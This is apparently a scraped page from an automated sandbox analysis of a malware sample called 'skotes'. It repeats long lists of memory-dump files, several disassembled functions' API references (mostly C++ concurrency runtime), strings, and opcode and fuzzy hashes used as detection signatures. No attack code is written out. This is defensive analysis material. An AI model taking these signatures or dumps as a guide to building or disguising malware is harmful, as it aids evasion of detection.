Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: b29a8280e386a7fdcfffd8ce4a96aa336f705782f48ecd20f1d8c3f698bad420
Instruction ID: fcc7ad197b7d6c169220813e16347f05a08c59b25acff30158879f61835c84ba
Opcode Fuzzy Hash: b29a8280e386a7fdcfffd8ce4a96aa336f705782f48ecd20f1d8c3f698bad420
Instruction Fuzzy Hash: C3210B3DB00615BBCB15A768D855ABC73A6BFA6334F04011AE511872D1CBB8EC41CBD1

Function 0019AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0019AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0019AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0019AF4E

Strings

pExecutionResource, xrefs: 0019AF07

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: ad57c4d5cfe40cb9e5ca5e6f5f89dd7a4362798ed939db0bfa353c33567302f3
Instruction ID: 8ac8d901f0518399526a8afcd53b282f2e34679bc7958888c8c606b6bc38ffaf
Opcode Fuzzy Hash: ad57c4d5cfe40cb9e5ca5e6f5f89dd7a4362798ed939db0bfa353c33567302f3
Instruction Fuzzy Hash: 9121A775A40305ABCF04FFA8C882BADB7A5BF58314F10401DF505A7282DBB4AF05CB95

Function 00194EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00194F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00194F66

Strings

ppVirtualProcessorRoots, xrefs: 00194F1C
count, xrefs: 00194EBA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: b327eccb23226bccb5b78980dfe35111535f5af118b1f9cb3298fe299f71961a
Instruction ID: a21a24f16714bd68f0eac9ce34ac4aaf3abd1279068dafc1d511e90052e27269
Opcode Fuzzy Hash: b327eccb23226bccb5b78980dfe35111535f5af118b1f9cb3298fe299f71961a
Instruction Fuzzy Hash: 45219A39A00615EFCF14EFA8C892EAD77A5BF59314F004069E5069B692DB71EA02CF91

Function 0019B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0019BA0E

Strings

RoInitialize, xrefs: 0019B998
RoUninitialize, xrefs: 0019B9C1
combase.dll, xrefs: 0019B983, 0019B988, 0019B99D, 0019B9C8

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 23f6fd9c5e2934a35e4b7994415ad910c8bb19c5d10d76c28997517995fb1adb
Instruction ID: 24fbae8fafa324aee9ada3ee44ac70364103a0e509e43de6ab946d939e33ea5f
Opcode Fuzzy Hash: 23f6fd9c5e2934a35e4b7994415ad910c8bb19c5d10d76c28997517995fb1adb
Instruction Fuzzy Hash: 8601D2A17863156DDF20B7B56E59BBF359D9F22344F20282AB580E6181EB65C8004765

Function 00196E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00196E73

Part of subcall function 00194E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00194E7F
Part of subcall function 00194E6E: List.LIBCMT ref: 00194E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00196E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00196EAA

Strings

eventObject, xrefs: 00196E7D

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 0c29060ea49308e12abe1cf636bc0aab62838ac77b863f23fb692e881ca463d0
Instruction ID: 18691d880620fb9d5d99bd6094144d1fdcce00590a8073aa815062410c477807
Opcode Fuzzy Hash: 0c29060ea49308e12abe1cf636bc0aab62838ac77b863f23fb692e881ca463d0
Instruction Fuzzy Hash: 8D11C479A40208EBDF24FBA4CD4AFEE73A86F21754F204119B509B60C1EB74DA04C675

Function 0019A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0019A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0019A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0019A139

Strings

pScheduler, xrefs: 0019A131

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
